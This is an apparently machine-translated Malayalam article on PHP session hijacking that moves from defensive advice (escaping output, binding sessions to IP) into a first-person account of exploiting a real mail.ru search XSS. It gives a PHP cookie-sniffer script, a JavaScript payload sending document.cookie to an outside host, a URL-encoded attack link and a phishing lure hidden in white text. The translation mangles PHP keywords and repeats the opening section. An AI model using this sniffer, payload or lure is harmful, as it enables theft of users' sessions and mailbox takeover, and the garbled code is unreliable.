സെഷൻ മോഷണം. PHP-യിൽ സുരക്ഷിതമായ പ്രോഗ്രാമിംഗ്. സെഷൻ മോഷണം കുക്കി മോഷണം

വാർത്ത 09.12.2020
വാർത്ത
  1. ഉപയോക്താവിനോട് ഒരു ഉപയോക്തൃനാമവും പാസ്‌വേഡും ആവശ്യപ്പെടുന്നു.
  2. അംഗീകാരം വിജയിക്കുകയാണെങ്കിൽ, "അംഗീകാരം വിജയിച്ചു" എന്ന മൂല്യമുള്ള ഒരു പുതിയ സെഷൻ സൃഷ്ടിക്കപ്പെടും.
  3. ഉപയോക്താവിന് ഒരു അദ്വിതീയ ഐഡന്റിഫയർ (SID) നൽകിയിരിക്കുന്നു, അത് മുൻകൂട്ടി പ്രവചിക്കാൻ കഴിയില്ല, അതിനാൽ, തിരഞ്ഞെടുക്കാൻ കഴിയില്ല :).
  4. SID ബ്രൗസറിന്റെ കുക്കികളിൽ റെക്കോർഡ് ചെയ്യപ്പെടുന്നു അല്ലെങ്കിൽ ബ്രൗസറിന്റെ വിലാസ ബാർ വഴി കൈമാറുന്നു (കുക്കികൾ പ്രവർത്തനരഹിതമാക്കിയിട്ടുണ്ടെങ്കിൽ).

വിജയകരമായ അംഗീകാരത്തിന്റെ ഫലമായി, $_SESSION സൂപ്പർഗ്ലോബൽ അറേയിൽ നിന്ന് സ്ക്രിപ്റ്റിന് വേരിയബിളുകളുടെ മൂല്യങ്ങളിലേക്ക് ആക്സസ് ലഭിക്കുന്നു, അതിന്റെ സാന്നിധ്യത്തിൽ സ്ക്രിപ്റ്റ് ചില ഉറവിടങ്ങളിലേക്ക് പ്രവേശനം നൽകുന്നു, ഉദാഹരണത്തിന്, സൈറ്റ് അഡ്മിനിസ്ട്രേഷൻ പാനലിലേക്കുള്ള പ്രവേശനം.

ഒരു ആക്രമണകാരി മറ്റൊരു ഉപയോക്താവിന്റെ SID എങ്ങനെയെങ്കിലും പഠിച്ചാൽ, അയാൾക്ക് അത് അവന്റെ കുക്കികളിലോ ബ്രൗസറിന്റെ വിലാസ ബാറിലോ പകരം വയ്ക്കാനും ഈ ഉപയോക്താവിന്റെ അവകാശങ്ങളോടെ സൈറ്റിൽ പ്രവേശിക്കാനും കഴിയും എന്നതാണ് പ്രശ്നം.

അഭിപ്രായം

കുറച്ച് വർഷങ്ങൾക്ക് മുമ്പ്, വിദൂര ബാങ്ക് അക്കൗണ്ട് മാനേജ്‌മെന്റ് സിസ്റ്റങ്ങൾ അവസാനം ഉപയോഗിച്ച മൂല്യത്തിലേക്ക് ഒന്ന് ചേർത്ത് ഒരു അദ്വിതീയ നമ്പർ (SID) സൃഷ്ടിച്ചപ്പോൾ നിരവധി അഴിമതികൾ ഉണ്ടായി. ദ്രുത അംഗീകാരം രണ്ട് SID മൂല്യങ്ങൾ നൽകുന്നതിൽ കലാശിച്ചു, നമുക്ക് 40346, 40348 എന്ന് പറയാം. 40347 എന്ന നമ്പറിന് പകരം മറ്റൊരാളുടെ അക്കൗണ്ടിലേക്ക് ആക്‌സസ് അനുവദിച്ചു :).

നിലവിൽ, SID പ്രതിനിധീകരിക്കുന്നത് ഒരു മീറ്ററുമായി ബന്ധിപ്പിച്ചിട്ടില്ലാത്ത അക്കങ്ങളുടെയും അക്ഷരങ്ങളുടെയും ഒരു അദ്വിതീയ ശ്രേണിയെയാണ്. എന്നാൽ ഒരു ആക്രമണകാരി മറ്റൊരാളുടെ SID എങ്ങനെ കണ്ടെത്തും?

ഏറ്റവും സാധാരണമായ രണ്ട് ഓപ്ഷനുകൾ ഉണ്ട്:

1. ഉദാഹരണത്തിന്, സെഷന്റെ ഉടമ തന്നെ അത് കാണിച്ചു, അശ്രദ്ധമായി ഫോറത്തിലോ ഗസ്റ്റ്ബുക്കിലോ ഇത്തരത്തിലുള്ള ഒരു ലിങ്ക് വിടുന്നു.

http://forum.dklab.ru/?sid=

ഈ വിലാസത്തിലേക്ക് പോകുന്നത്, ആക്രമണകാരിക്ക് ഐഡന്റിഫയറുമായുള്ള സെഷൻ അനുവദിച്ചിരിക്കുന്ന ഉപയോക്താവിന്റെ അവകാശങ്ങൾ സ്വയമേവ നൽകുന്നു.
തീർച്ചയായും, കുറച്ച് സമയത്തിന് ശേഷം ഒരു പ്രവർത്തനവും ഇല്ലെങ്കിൽ ഉപയോക്തൃ സെഷൻ നശിപ്പിക്കപ്പെടും. അതിനാൽ അക്രമി വേഗം പോകണം :). മറുവശത്ത്, ചിലന്തികളുടെ (ചിലന്തികൾ) മൊത്തം വ്യാപനം അത്തരം ലിങ്കുകൾക്കായി ഒരു ലക്ഷ്യബോധമുള്ള യാന്ത്രിക തിരയൽ സംഘടിപ്പിക്കാൻ നിങ്ങളെ അനുവദിക്കുന്നു.

2. ബ്രൗസർ ലൈനിൽ സെഷൻ വ്യക്തമായി വ്യക്തമാക്കിയിട്ടില്ലെങ്കിലും കുക്കികളിൽ സംഭരിച്ചിട്ടുണ്ടെങ്കിലും. ഒരു ആക്രമണകാരിക്ക് ഐഡന്റിഫയർ കൈവശപ്പെടുത്താൻ ഇപ്പോഴും അവസരമുണ്ട്. ഏറ്റവും ലളിതമായ അതിഥി പുസ്തകത്തിന്റെ ഒരു ചെറിയ സ്ക്രിപ്റ്റ് പരിഗണിക്കുക.



വാചകം:


addmsg.php ഹാൻഡ്‌ലറിന്റെ ഉള്ളടക്കം ചുവടെ കാണിച്ചിരിക്കുന്നു

എങ്കിൽ(!ശൂന്യം($_POST [ "ടെക്സ്റ്റ്" ]))
{
$ലൈൻ = str_replace("/ ?
/s" , " " , $_POST [ "ടെക്സ്റ്റ്" ]);
//ഡാറ്റാബേസിലോ ഫയലിലോ എഴുതുക
}
വേറെ
{
പുറത്ത്(
"പിശക്" );
}
?>

അക്ഷരങ്ങളെ പരിവർത്തനം ചെയ്യുന്ന htmlspecialchars() ഫംഗ്‌ഷനിലേക്കുള്ള കോൾ സ്‌ക്രിപ്റ്റ് വ്യക്തമായി ഒഴിവാക്കുന്നു എന്നത് ശ്രദ്ധിക്കുക.< в < и >in > ഫലമായി, ഒരു ആക്രമണകാരിക്ക് ഏതെങ്കിലും HTML ടാഗുകളും JavaScript സ്ക്രിപ്റ്റുകളും ടെക്സ്റ്റിലേക്ക് തിരുകാൻ കഴിയും.

പിന്നെ നമുക്ക് എന്ത് ലഭിക്കും? ഒരു ചെറിയ മേൽനോട്ടം (സന്ദേശം ബ്രൗസറിലേക്ക് പ്രദർശിപ്പിക്കുന്നതിന് മുമ്പ് ചില htmlspecialchars () നഷ്‌ടമായതായി തോന്നുന്നു), ഇത് ആക്രമണകാരിയുടെ പേജ് ഒരു പുതിയ വിൻഡോയിൽ ലോഡ് ചെയ്യാൻ നിങ്ങളെ അനുവദിക്കുന്നു, കുക്കികളിൽ നിന്ന് അതിന്റെ മൂല്യങ്ങൾ കൈമാറുന്നു.
ഇത്തരത്തിലുള്ള കേടുപാടുകൾ കൈകാര്യം ചെയ്യാൻ, "അനുവദനീയമല്ലാത്ത എല്ലാം നിരോധിച്ചിരിക്കുന്നു" എന്ന തത്വത്തിൽ പ്രവർത്തിക്കുന്ന "സുസ്ഥിര" രീതികൾ കൈകാര്യം ചെയ്യുന്നതാണ് നല്ലത്. നിങ്ങൾ SID മറയ്‌ക്കരുത്, വാചകം മൾട്ടി-സ്റ്റേജ് പരിശോധനകൾക്ക് വിധേയമാക്കരുത് - ഈ കേസിൽ പിശകുകൾ സൃഷ്ടിക്കുന്നതിനുള്ള സാധ്യത വർദ്ധിക്കുന്നു. ഈ സാഹചര്യത്തിൽ കൂടുതൽ വിശ്വസനീയമായത് സെഷൻ സ്വന്തമാക്കിയ ഉപയോക്താവിന്റെ ഐപി വിലാസത്തിലേക്ക് SID ബന്ധിപ്പിക്കുന്ന രീതിയാണ്. phpBB പോലുള്ള പല അറിയപ്പെടുന്ന ഫോറങ്ങളിലും ഈ രീതി വ്യാപകമായി ഉപയോഗിക്കുന്നു.
അംഗീകാര സ്ക്രിപ്റ്റ്

എങ്കിൽ ( പ്രവേശനവും പാസ്‌വേഡും ശരിയാണ്)
{
$_SESSION [ "Authorized" ] = true ;
$_SESSION [ "ip" ] = $_SERVER [ "REMOTE_ADDR" ];
}
?>

അപ്പോൾ ഒരു നിർദ്ദിഷ്‌ട ഉറവിടത്തിലേക്ക് ആക്‌സസ് അനുവദിക്കുന്ന സ്‌ക്രിപ്റ്റിൽ ഇനിപ്പറയുന്ന കോഡ് അടങ്ങിയിരിക്കാം

(!ശൂന്യമാണെങ്കിൽ($_SESSION [ "അംഗീകൃതം" ]) &&
$_SESSION [ "ip" ] == $_SERVER [ "REMOTE_ADDR" ])
{
// ഉറവിടത്തിലേക്കുള്ള പ്രവേശനം തുറന്നിരിക്കുന്നു.
}
else die ("ആക്സസ് നിരസിച്ചു." );
?>

ആ. അംഗീകാര സമയത്ത് സെർവറിലേക്ക് അയച്ച IP വിലാസവുമായി പൊരുത്തപ്പെടുന്ന IP വിലാസമുള്ള ഉപയോക്താവിന് മാത്രമേ ഈ സെഷനിൽ പ്രവർത്തിക്കാൻ കഴിയൂ. ഒരു ആക്രമണകാരി സെഷൻ തടസ്സപ്പെടുത്തുകയാണെങ്കിൽ, അയാൾക്ക് മറ്റൊരു IP വിലാസമുണ്ട് :) - അതിനാൽ അയാൾക്ക് ആക്സസ് നിഷേധിക്കപ്പെടും.

ഈ രീതി സാർവത്രികമല്ല, ഇതിന് ബലഹീനതകളും ഉണ്ട്.

  1. ഉപയോക്താവും ആക്രമണകാരിയും ഒരു പൊതു പ്രോക്‌സി സെർവർ വഴി ഇന്റർനെറ്റ് ആക്‌സസ് ചെയ്യുന്നുവെങ്കിൽ, അവർക്ക് ഒരു പൊതു ഐപി വിലാസം ഉണ്ടായിരിക്കും (ഇത് സർവ്വകലാശാലകളുടെയും ഫാക്ടറികളുടെയും മറ്റ് വലിയ സ്ഥാപനങ്ങളുടെയും നെറ്റ്‌വർക്കുകൾക്ക് സാധാരണമാണ്), അതായത്. എല്ലാവർക്കും അയൽക്കാരന്റെ SID മോഷ്ടിക്കാൻ കഴിയും, കുറഞ്ഞത് മുകളിൽ പറഞ്ഞ രീതികളിലൂടെ.

വിവര സുരക്ഷാ പ്രശ്‌നങ്ങൾക്കായി സമർപ്പിച്ചിരിക്കുന്ന ഒരു സൗജന്യ പരിപാടിയിൽ പങ്കെടുക്കാൻ നിർദ്ദേശിച്ചു. പരിപാടി എന്റെ നഗരത്തിൽ നടന്നതിനാൽ, ഞാൻ അവിടെ പോകണമെന്ന് ഞാൻ തീരുമാനിച്ചു. ആദ്യ പാഠം XSS പോലുള്ള സൈറ്റുകളിലെ കേടുപാടുകൾക്കായി നീക്കിവച്ചിരിക്കുന്നു. പാഠത്തിന് ശേഷം, നേടിയ അറിവ് യഥാർത്ഥ സാഹചര്യങ്ങളിൽ ഏകീകരിക്കേണ്ടതുണ്ടെന്ന് ഞാൻ തീരുമാനിച്ചു. എന്റെ നഗരവുമായി ബന്ധപ്പെട്ട നിരവധി സൈറ്റുകൾ ഞാൻ സ്വയം തിരഞ്ഞെടുക്കുകയും എന്റെ സ്ക്രിപ്റ്റ് എല്ലാ രൂപങ്ങളിലും ഒട്ടിക്കാൻ ശ്രമിക്കുകയും ചെയ്തു. മിക്ക കേസുകളിലും, സ്ക്രിപ്റ്റ് ഫിൽട്ടർ ചെയ്തു. എന്നാൽ "അലേർട്ട്" പ്രവർത്തിച്ചു, എന്റെ സന്ദേശം പ്രത്യക്ഷപ്പെട്ടു. കണ്ടെത്തിയ അപകടസാധ്യത ഞാൻ അഡ്മിനിസ്ട്രേറ്റർമാരോട് റിപ്പോർട്ട് ചെയ്തു, അവർ എല്ലാം പെട്ടെന്ന് പരിഹരിച്ചു.

ആ ദിവസങ്ങളിലൊന്നിൽ, mail.ru-ൽ പുതിയ മെയിൽ പരിശോധിക്കുമ്പോൾ, മെയിൽബോക്സിൽ അക്ഷരങ്ങൾ തിരയുന്നതിനുള്ള ഒരു ഫോം ഞാൻ കണ്ടു. ഇടയ്‌ക്കിടെ എന്റെ പഴയ കത്തുകളുടെ കൂമ്പാരത്തിൽ എനിക്ക് ആവശ്യമുള്ള എന്തെങ്കിലും കണ്ടെത്താൻ ഞാൻ ഈ തിരയൽ ഉപയോഗിച്ചു. ശരി, കഴിഞ്ഞ രണ്ട് ദിവസങ്ങളിൽ എനിക്ക് കഴിയുന്ന എല്ലായിടത്തും ഞാൻ എന്റെ "അലേർട്ട്" തിരുകിയതിനാൽ, ഈ തിരയൽ ഫോമിലേക്ക് എന്റെ കൈ റിഫ്ലെക്‌സിവ് ആയി എത്തി. ഞാൻ എന്റെ സ്ക്രിപ്റ്റ് കോഡ് ടൈപ്പ് ചെയ്ത് എന്റർ അമർത്തി. സ്ക്രീനിൽ വേദനാജനകമായ പരിചിതമായ ഒരു സന്ദേശം കണ്ടപ്പോൾ എന്റെ അത്ഭുതം സങ്കൽപ്പിക്കുക ...


ഓപ്പൺ ഇൻഫോസെക് ഡേയ്‌സ് പ്രഭാഷണത്തിൽ, പ്രോഗ്രാമർമാർക്ക് ഇത്തരത്തിലുള്ള കേടുപാടുകളെക്കുറിച്ച് സംശയമുണ്ടെന്ന് സ്പീക്കർ പറഞ്ഞു, അവർ പറയുന്നു, “അലേർട്ട്? ശരി, അപ്പോൾ എന്താണ്? ഇത് അപകടകരമല്ല". മറ്റ് സൈറ്റുകളിൽ എന്റെ സന്ദേശത്തിൽ ഈ വിൻഡോയിൽ മാത്രം ഞാൻ സംതൃപ്തനാണെങ്കിൽ, ഈ സാഹചര്യത്തിൽ കൂടുതൽ മുന്നോട്ട് പോയി അത്തരമൊരു "അലേർട്ട്" എന്താണെന്ന് കാണിക്കാൻ ഞാൻ തീരുമാനിച്ചു.

അതിനാൽ, സ്ക്രിപ്റ്റ് പ്രവർത്തിക്കുന്നു, അതായത് ഒരു ദുർബലതയുണ്ട്. അതിനാൽ, നിങ്ങൾക്ക് മറ്റേതെങ്കിലും സ്ക്രിപ്റ്റ് പ്രവർത്തിപ്പിക്കാൻ ശ്രമിക്കാം. ഉദാഹരണത്തിന്, മറ്റൊരു ഉപയോക്താവിന്റെ കുക്കികൾ ഞങ്ങൾക്ക് കൈമാറുന്ന ഒരു സ്ക്രിപ്റ്റ്. സ്ക്രിപ്റ്റ് പ്രവർത്തിക്കുന്നതിന്, ഞങ്ങളുടെ സ്ക്രിപ്റ്റ് എക്സിക്യൂട്ട് ചെയ്യാൻ ഉപയോക്താവിനെ നിർബന്ധിക്കേണ്ടതുണ്ട്. ഉചിതമായ ലിങ്ക് സഹിതം അദ്ദേഹത്തിന് ഒരു കത്ത് അയച്ചുകൊണ്ട് ഇത് ചെയ്യാൻ കഴിയും, അതിൽ ക്ലിക്ക് ചെയ്ത ശേഷം മെയിൽബോക്സ് തിരയുകയും നമുക്ക് ആവശ്യമുള്ള കോഡ് എക്സിക്യൂട്ട് ചെയ്യുകയും ചെയ്യും.

ദുർബലതയുടെ മെക്കാനിക്സ് മനസ്സിലാക്കാൻ കുറച്ച് സമയവും ധാരാളം പരീക്ഷണങ്ങളും വേണ്ടി വന്നു. ചിലപ്പോൾ സ്ക്രിപ്റ്റ് പ്രവർത്തിച്ചു, ചിലപ്പോൾ അത് ഫിൽട്ടർ ചെയ്തു. കുറച്ച് ശ്രമങ്ങൾക്ക് ശേഷം, അനുഭവപരമായി, അക്ഷരങ്ങൾക്കായുള്ള തിരയൽ നല്ല ഫലം നൽകിയാൽ മാത്രമേ സ്ക്രിപ്റ്റ് 100% പ്രവർത്തിക്കൂ എന്ന് കണ്ടെത്തി. അതായത്, ഒരു ഉപയോക്താവ് ഞങ്ങളുടെ സ്ക്രിപ്റ്റ് ഉപയോഗിച്ച് ഒരു തിരയൽ നടത്തുമ്പോൾ, നിർദ്ദിഷ്ട പാരാമീറ്ററുകൾ അനുസരിച്ച് അവന്റെ മെയിൽബോക്സിൽ കുറഞ്ഞത് ഒരു അക്ഷരമെങ്കിലും കണ്ടെത്തേണ്ടത് ആവശ്യമാണ്. ഇത് സജ്ജീകരിക്കുന്നത് ബുദ്ധിമുട്ടുള്ള കാര്യമല്ല.

എങ്കിൽ (ഇസെറ്റ്($_GET["കുക്കി"]))
{
$text = "പുതിയ കുക്കി സ്വീകരിക്കുക ". $_SERVER["REMOTE_ADDR"] ." ൽ ". തീയതി("l jS \of F Y h:i:s A");
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET["കുക്കി"]."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}
?>

കൂടാതെ, "അലേർട്ട്" എന്നതിനുപകരം, ഞങ്ങളുടെ സ്നിഫറിലേക്ക് കുക്കികൾ കൈമാറുന്ന ഒരു സ്ക്രിപ്റ്റ് ആവശ്യമാണ്. ഞങ്ങൾ ഈ സ്ക്രിപ്റ്റ് ഒരു പ്രത്യേക ഫയലിൽ എഴുതി ഞങ്ങളുടെ തിരയലിലേക്ക് അപ്ലോഡ് ചെയ്യും. ആവശ്യമായ കോഡുള്ള ഒരു test.js ഫയൽ ഞാൻ സൃഷ്ടിച്ച് ഹോസ്റ്റിംഗിലേക്ക് അപ്‌ലോഡ് ചെയ്തു. സ്ക്രിപ്റ്റ് കോഡ് ഇതാണ്:

Img=പുതിയ ഇമേജ്();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
ഫംഗ്ഷൻ F() (
സ്ഥാനം="http://www.solife.ru";
}
setTimeout(F, 5000);

ഞാൻ ഇവിടെ എന്താണ് വിശദീകരിക്കാൻ ആഗ്രഹിക്കുന്നത്. അക്രമിയുടെ സ്ഥാനത്ത് നമുക്ക് നമ്മെത്തന്നെ നിർത്താം. ഉപയോക്താവ് ലിങ്കിൽ ക്ലിക്ക് ചെയ്യണം. അവനെ എങ്ങനെ അത് ചെയ്യാൻ പ്രേരിപ്പിക്കും? നിങ്ങൾക്ക് സ്വർണ്ണ പർവതങ്ങൾ വാഗ്ദാനം ചെയ്യാം, അവ ലഭിക്കുന്നതിന് നിങ്ങൾ സൈറ്റിലേക്കുള്ള ഞങ്ങളുടെ ലിങ്ക് പിന്തുടരേണ്ടതുണ്ട്. പക്ഷേ അത് പ്രവർത്തിക്കുമെന്ന് ഞാൻ കരുതുന്നില്ല. ആളുകൾ ഇപ്പോൾ ഇതിലില്ല (ഞാൻ തന്നെ അത്തരം കത്തുകൾ വായിക്കാതെ തന്നെ നിരന്തരം ഇല്ലാതാക്കുന്നു). അതിനാൽ, മനുഷ്യ സഹതാപം ഞങ്ങൾ കളിക്കും, കാരണം അത് ഇപ്പോഴും പ്രകൃതിയിൽ നിലനിൽക്കുന്നു. ഉന്മൂലനം ചെയ്യപ്പെട്ട മൃഗങ്ങളുടെ രക്ഷയ്ക്കായി സൈറ്റിൽ വോട്ട് ചെയ്യാൻ ഞങ്ങൾ നിങ്ങളോട് ആവശ്യപ്പെടും. ആദ്യം, ഞങ്ങൾ കുക്കികൾ എടുക്കും, തുടർന്ന് ഞങ്ങൾ ഉപയോക്താവിനെ വോട്ടിംഗ് സൈറ്റിലേക്ക് റീഡയറക്‌ട് ചെയ്യും. റീഡയറക്‌ടിനായുള്ള സമയപരിധി 5 സെക്കൻഡായി സജ്ജീകരിച്ചു, അല്ലാത്തപക്ഷം കുക്കികൾക്ക് സ്‌നിഫറിലേക്ക് കൈമാറാൻ സമയമില്ല, മാത്രമല്ല ഉപയോക്താവിനെ മൃഗങ്ങളെക്കുറിച്ചുള്ള സൈറ്റിലേക്ക് ഉടനടി മാറ്റി. "അലേർട്ട്" എന്നതിന് പകരം ഞാൻ ഇനിപ്പറയുന്ന സ്ക്രിപ്റ്റ് ഉപയോഗിച്ചു:

തിരക്കഥകൾ പൂർത്തിയായപ്പോൾ ഞാൻ ഒരു കത്തെഴുതാൻ തുടങ്ങി. ഇനിപ്പറയുന്ന ഉള്ളടക്കവുമായി വന്നു:


ഇത് തികച്ചും വിചിത്രമായി മാറി, പക്ഷേ സാഹചര്യങ്ങളെ ഏറ്റവും യാഥാർത്ഥ്യത്തിലേക്ക് അടുപ്പിക്കാൻ ഞാൻ ശ്രമിച്ചു. കത്തിന്റെ അവസാനം, ഒരു സ്ക്രിപ്റ്റ് ഉള്ള ഒരു വരി ചേർത്തു, ഇത് തിരഞ്ഞാൽ നമ്മുടെ കത്ത് കണ്ടെത്തും. വരി അനാവശ്യ ചോദ്യങ്ങൾ ഉണ്ടാക്കാതിരിക്കാൻ, ഞാൻ അത് വെള്ളയിൽ വരച്ചു. "http" എന്ന വാക്കിൽ ഞാൻ ഒരു സ്‌പെയ്‌സും ഇട്ടു, അതിനാൽ സ്‌ട്രിംഗ് തിരിച്ചറിയപ്പെടാതെ ഒരു ലിങ്കായി പരിവർത്തനം ചെയ്യപ്പെടും. അല്ലെങ്കിൽ, സ്ക്രിപ്റ്റ് ലൈൻ വെള്ള ഫോണ്ടിൽ എഴുതിയിട്ടുണ്ടെങ്കിലും, വിലാസത്തിൽ ലിങ്ക് നീല നിറത്തിൽ ഹൈലൈറ്റ് ചെയ്യപ്പെടും, ഞങ്ങൾക്ക് ഇത് ആവശ്യമില്ല. സ്‌മാർട്ട് തിരയൽ സ്‌പെയ്‌സുകൾ പരിഗണിക്കാതെ തന്നെ ഈ സ്‌ട്രിംഗ് കണ്ടെത്തുകയും തിരിച്ചറിയുകയും ചെയ്യും.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

സ്‌ക്രിപ്റ്റിനായി, ഞാൻ URL എൻകോഡിംഗ് പ്രയോഗിച്ചതിനാൽ ഒന്നും ഫിൽട്ടർ ചെയ്യപ്പെടില്ല. ഞാൻ തിരയലിനായി “q_folder=0” പാരാമീറ്ററും ചേർത്തു, അതിനാൽ തിരയൽ ഇൻബോക്സ് ഫോൾഡറിൽ നടക്കുന്നു.

കത്ത് തയ്യാറാണ്, ഞങ്ങൾ അത് അയയ്ക്കുന്നു. വിലാസക്കാരന്റെ അതേ സേവനത്തിൽ ഞാൻ എന്റെ രണ്ടാമത്തെ മെയിൽബോക്സ് ഉപയോഗിച്ചു. മറ്റേ ബോക്സിൽ എന്താണ് വന്നതെന്ന് ഞങ്ങൾ നോക്കുന്നു.

പശ്ചാത്തലത്തിൽ കൂടിച്ചേരുന്നതിനാൽ ഞങ്ങളുടെ സ്‌ക്രിപ്റ്റ് ടെക്‌സ്‌റ്റ് ദൃശ്യമാകില്ല. നമുക്ക് ലിങ്കിൽ ക്ലിക്ക് ചെയ്ത് എന്താണ് സംഭവിക്കുന്നതെന്ന് നോക്കാം. ഞങ്ങൾ സജ്ജമാക്കിയ പാരാമീറ്റർ ഉപയോഗിച്ച് ഇമെയിലുകൾക്കായുള്ള തിരയൽ ഫലങ്ങളിലേക്ക് ഉപയോക്താവിനെ നീക്കുന്നു. ഞങ്ങൾ അയച്ച കത്ത് തിരയൽ ഫലങ്ങളിൽ ദൃശ്യമാണ്. ഈ സമയത്ത്, ഞങ്ങളുടെ സ്‌ക്രിപ്റ്റ് ഇതിനകം പ്രവർത്തിക്കുകയും ഉപയോക്താവിന്റെ കുക്കികൾ സ്‌നിഫറിലേക്ക് അയച്ചു. 5 സെക്കൻഡിന് ശേഷം (സമയം സ്ക്രിപ്റ്റ് ക്രമീകരണത്തെ ആശ്രയിച്ചിരിക്കുന്നു), ഉപയോക്താവിനെ വോട്ടിംഗ് സൈറ്റിലേക്ക് റീഡയറക്‌ടുചെയ്യുന്നു.

ഞാൻ എന്റെ sniff.txt ഫയൽ പരിശോധിക്കുന്നു:

മറ്റുള്ളവരുടെ പെട്ടികൾ മോഷ്ടിക്കുകയോ അവയിലേക്ക് പ്രവേശനം നേടുകയോ അല്ല എന്റെ ലക്ഷ്യം എന്നതിനാൽ, ഞാൻ കഥ ഇവിടെ അവസാനിപ്പിക്കുന്നു. എന്നാൽ സൈദ്ധാന്തികമായി, നിങ്ങളുടെ കുക്കികൾ മറ്റാരുടെയെങ്കിലും ഉപയോഗിച്ച് മാറ്റി മറ്റൊരാളുടെ മെയിൽബോക്സിലേക്ക് പ്രവേശനം നേടാം. പൊതുവേ, ഒരു ആക്രമണകാരി ലക്ഷ്യത്തിന് തീയിടുകയാണെങ്കിൽ, ലഭിച്ച വിവരങ്ങൾക്ക് അയാൾ ഒരു ഉപയോഗം കണ്ടെത്തും.

സെർജി ബെലോവിന് നന്ദി പറയാൻ ഞാൻ ആഗ്രഹിക്കുന്നു (

  1. ഉപയോക്താവിനോട് ഒരു ഉപയോക്തൃനാമവും പാസ്‌വേഡും ആവശ്യപ്പെടുന്നു.
  2. അംഗീകാരം വിജയിക്കുകയാണെങ്കിൽ, "അംഗീകാരം വിജയിച്ചു" എന്ന മൂല്യമുള്ള ഒരു പുതിയ സെഷൻ സൃഷ്ടിക്കപ്പെടും.
  3. ഉപയോക്താവിന് ഒരു അദ്വിതീയ ഐഡന്റിഫയർ (SID) നൽകിയിരിക്കുന്നു, അത് മുൻകൂട്ടി പ്രവചിക്കാൻ കഴിയില്ല, അതിനാൽ, തിരഞ്ഞെടുക്കാൻ കഴിയില്ല :).
  4. SID ബ്രൗസറിന്റെ കുക്കികളിൽ റെക്കോർഡ് ചെയ്യപ്പെടുന്നു അല്ലെങ്കിൽ ബ്രൗസറിന്റെ വിലാസ ബാർ വഴി കൈമാറുന്നു (കുക്കികൾ പ്രവർത്തനരഹിതമാക്കിയിട്ടുണ്ടെങ്കിൽ).

വിജയകരമായ അംഗീകാരത്തിന്റെ ഫലമായി, $_SESSION സൂപ്പർഗ്ലോബൽ അറേയിൽ നിന്ന് സ്ക്രിപ്റ്റിന് വേരിയബിളുകളുടെ മൂല്യങ്ങളിലേക്ക് ആക്സസ് ലഭിക്കുന്നു, അതിന്റെ സാന്നിധ്യത്തിൽ സ്ക്രിപ്റ്റ് ചില ഉറവിടങ്ങളിലേക്ക് പ്രവേശനം നൽകുന്നു, ഉദാഹരണത്തിന്, സൈറ്റ് അഡ്മിനിസ്ട്രേഷൻ പാനലിലേക്കുള്ള പ്രവേശനം.

ഒരു ആക്രമണകാരി മറ്റൊരു ഉപയോക്താവിന്റെ SID എങ്ങനെയെങ്കിലും പഠിച്ചാൽ, അയാൾക്ക് അത് അവന്റെ കുക്കികളിലോ ബ്രൗസറിന്റെ വിലാസ ബാറിലോ പകരം വയ്ക്കാനും ഈ ഉപയോക്താവിന്റെ അവകാശങ്ങളോടെ സൈറ്റിൽ പ്രവേശിക്കാനും കഴിയും എന്നതാണ് പ്രശ്നം.

അഭിപ്രായം

കുറച്ച് വർഷങ്ങൾക്ക് മുമ്പ്, വിദൂര ബാങ്ക് അക്കൗണ്ട് മാനേജ്‌മെന്റ് സിസ്റ്റങ്ങൾ അവസാനം ഉപയോഗിച്ച മൂല്യത്തിലേക്ക് ഒന്ന് ചേർത്ത് ഒരു അദ്വിതീയ നമ്പർ (SID) സൃഷ്ടിച്ചപ്പോൾ നിരവധി അഴിമതികൾ ഉണ്ടായി. ദ്രുത അംഗീകാരം രണ്ട് SID മൂല്യങ്ങൾ നൽകുന്നതിൽ കലാശിച്ചു, നമുക്ക് 40346, 40348 എന്ന് പറയാം. 40347 എന്ന നമ്പറിന് പകരം മറ്റൊരാളുടെ അക്കൗണ്ടിലേക്ക് ആക്‌സസ് അനുവദിച്ചു :).

നിലവിൽ, SID പ്രതിനിധീകരിക്കുന്നത് ഒരു മീറ്ററുമായി ബന്ധിപ്പിച്ചിട്ടില്ലാത്ത അക്കങ്ങളുടെയും അക്ഷരങ്ങളുടെയും ഒരു അദ്വിതീയ ശ്രേണിയെയാണ്. എന്നാൽ ഒരു ആക്രമണകാരി മറ്റൊരാളുടെ SID എങ്ങനെ കണ്ടെത്തും?

ഏറ്റവും സാധാരണമായ രണ്ട് ഓപ്ഷനുകൾ ഉണ്ട്:

1. ഉദാഹരണത്തിന്, സെഷന്റെ ഉടമ തന്നെ അത് കാണിച്ചു, അശ്രദ്ധമായി ഫോറത്തിലോ ഗസ്റ്റ്ബുക്കിലോ ഇത്തരത്തിലുള്ള ഒരു ലിങ്ക് വിടുന്നു.

http://forum.dklab.ru/?sid=

ഈ വിലാസത്തിലേക്ക് പോകുന്നത്, ആക്രമണകാരിക്ക് ഐഡന്റിഫയറുമായുള്ള സെഷൻ അനുവദിച്ചിരിക്കുന്ന ഉപയോക്താവിന്റെ അവകാശങ്ങൾ സ്വയമേവ നൽകുന്നു.
തീർച്ചയായും, കുറച്ച് സമയത്തിന് ശേഷം ഒരു പ്രവർത്തനവും ഇല്ലെങ്കിൽ ഉപയോക്തൃ സെഷൻ നശിപ്പിക്കപ്പെടും. അതിനാൽ അക്രമി വേഗം പോകണം :). മറുവശത്ത്, ചിലന്തികളുടെ (ചിലന്തികൾ) മൊത്തം വ്യാപനം അത്തരം ലിങ്കുകൾക്കായി ഒരു ലക്ഷ്യബോധമുള്ള യാന്ത്രിക തിരയൽ സംഘടിപ്പിക്കാൻ നിങ്ങളെ അനുവദിക്കുന്നു.

2. ബ്രൗസർ ലൈനിൽ സെഷൻ വ്യക്തമായി വ്യക്തമാക്കിയിട്ടില്ലെങ്കിലും കുക്കികളിൽ സംഭരിച്ചിട്ടുണ്ടെങ്കിലും. ഒരു ആക്രമണകാരിക്ക് ഐഡന്റിഫയർ കൈവശപ്പെടുത്താൻ ഇപ്പോഴും അവസരമുണ്ട്. ഏറ്റവും ലളിതമായ അതിഥി പുസ്തകത്തിന്റെ ഒരു ചെറിയ സ്ക്രിപ്റ്റ് പരിഗണിക്കുക.



വാചകം:


